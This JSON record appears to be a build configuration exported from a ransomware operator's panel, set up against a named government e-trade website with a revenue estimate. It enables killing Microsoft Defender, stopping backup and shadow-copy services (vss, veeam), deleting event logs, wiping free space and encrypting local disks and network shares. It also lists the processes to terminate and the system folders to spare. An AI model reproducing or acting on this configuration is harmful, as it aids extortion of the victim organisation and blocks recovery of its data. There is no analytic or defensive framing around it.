{"buildModel": {"id": "117", "parent_id": 0, "status": null, "decription_id": null, "userid": 31, "stealerid": null, "key_id": 0, "comment": "httpsetradegovet", "master_pubkey": null, "master_privkey": null, "date": 1734906610, "company_website": "etrade.gov.et", "crypted_website": "GUL0ZIWZiRUiCLXmtuUtddQ3jPLMbNAwlnHpPn2Xo24b5QGQLxDKvMvQTr+Q1PsC/m4RdUODiG23e7fzLr+oqYRDrsQSaR+L12taOm+WLF1fLg6ulvWAM1izvDAilyR8aQuiAxt2/jkzJlX2DzW7TsHWh198ERw9gJvwyX99P+ZUINVMcq7Z0yEKfp3jKwDvWoP0aqMFrkcdvGs3ueK0VixMYXCO6oTUk/UixXGFIT8eB02mVQPHmv/6yzX6507C+ZfHUVAFWp750CM7pLXaxeW+MHMO4YSohN0ma0nsX72jllQOfvQ8zByqCYexUkDr3adC70GVm8JhcWwchdBnxthIGL+s8SxoGZg+2muDKaBWcChsCg/ChHfjO3vE75LfFtUNHV8NnWieFlk67dS2Rr+PYQRYt4t7LqtVJ67BKW0FqIWtRqGHg1Hn2I7OpKbfX89siCmlQInhgigBsV+8pL+q8M+WRbpy21uznWfYpHEcUDbT2+5arWlEgpA4fAveisCz6W8K30DCXqMdyxODV+Qdz7ePiZQOQ+FX5P6ofqb7R2KhfGQq+4fnNdHCLF/vW2dCNONPIWK9Ydt9ThAfp4SFGZFB7r0kabEIRsczJZaXFS1cmi0xQN0ZJ/tMYqkR4fVORaBPnVhsTRb2DoNK3UOZUaqEbLK62X1Vc7cv6Kg=", "revenue": "100k", "delete_decryptor": true, "type": 30, "max_file_size": null, "created_at": "2024-12-22 22:30:10"}, "key": null, "revenue": "100k", "comment": "httpsetradegovet", "company_website": "etrade.gov.et", "encrypt_mode": false, "encrypt_filename": false, "impersonation": "0", "language_check": "1", "local_disks": "1", "network_shares": "1", "kill_processes": "1", "kill_services": "1", "running_one": "1", "print_note": "0", "set_wallpaper": "1", "set_icons": "1", "spread_enabled": "1", "send_report": false, "delete_eventlogs": "1", "self_spread": false, "self_destruct": "1", "kill_defender": "1", "wipe_free_space": "1", "skip_hidden_folders": "0", "shutdown_system": "0", "gpo_ps_update": "0", "impers_accounts": "", "white_folders": "$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;appdata;application data;boot;google;mozilla;program files;program files (x86);programdata;system volume information;tor browser;windows.old;intel;msocache;perflogs;x64dbg;public;all users;default", "white_files": "autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db", "white_extens": "386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb", "white_hosts": "", "delete_gpo_delay": "60", "kill_processes_list": "sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thunderbird;visio;winword;wordpad;notepad", "kill_services_list": "vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr"}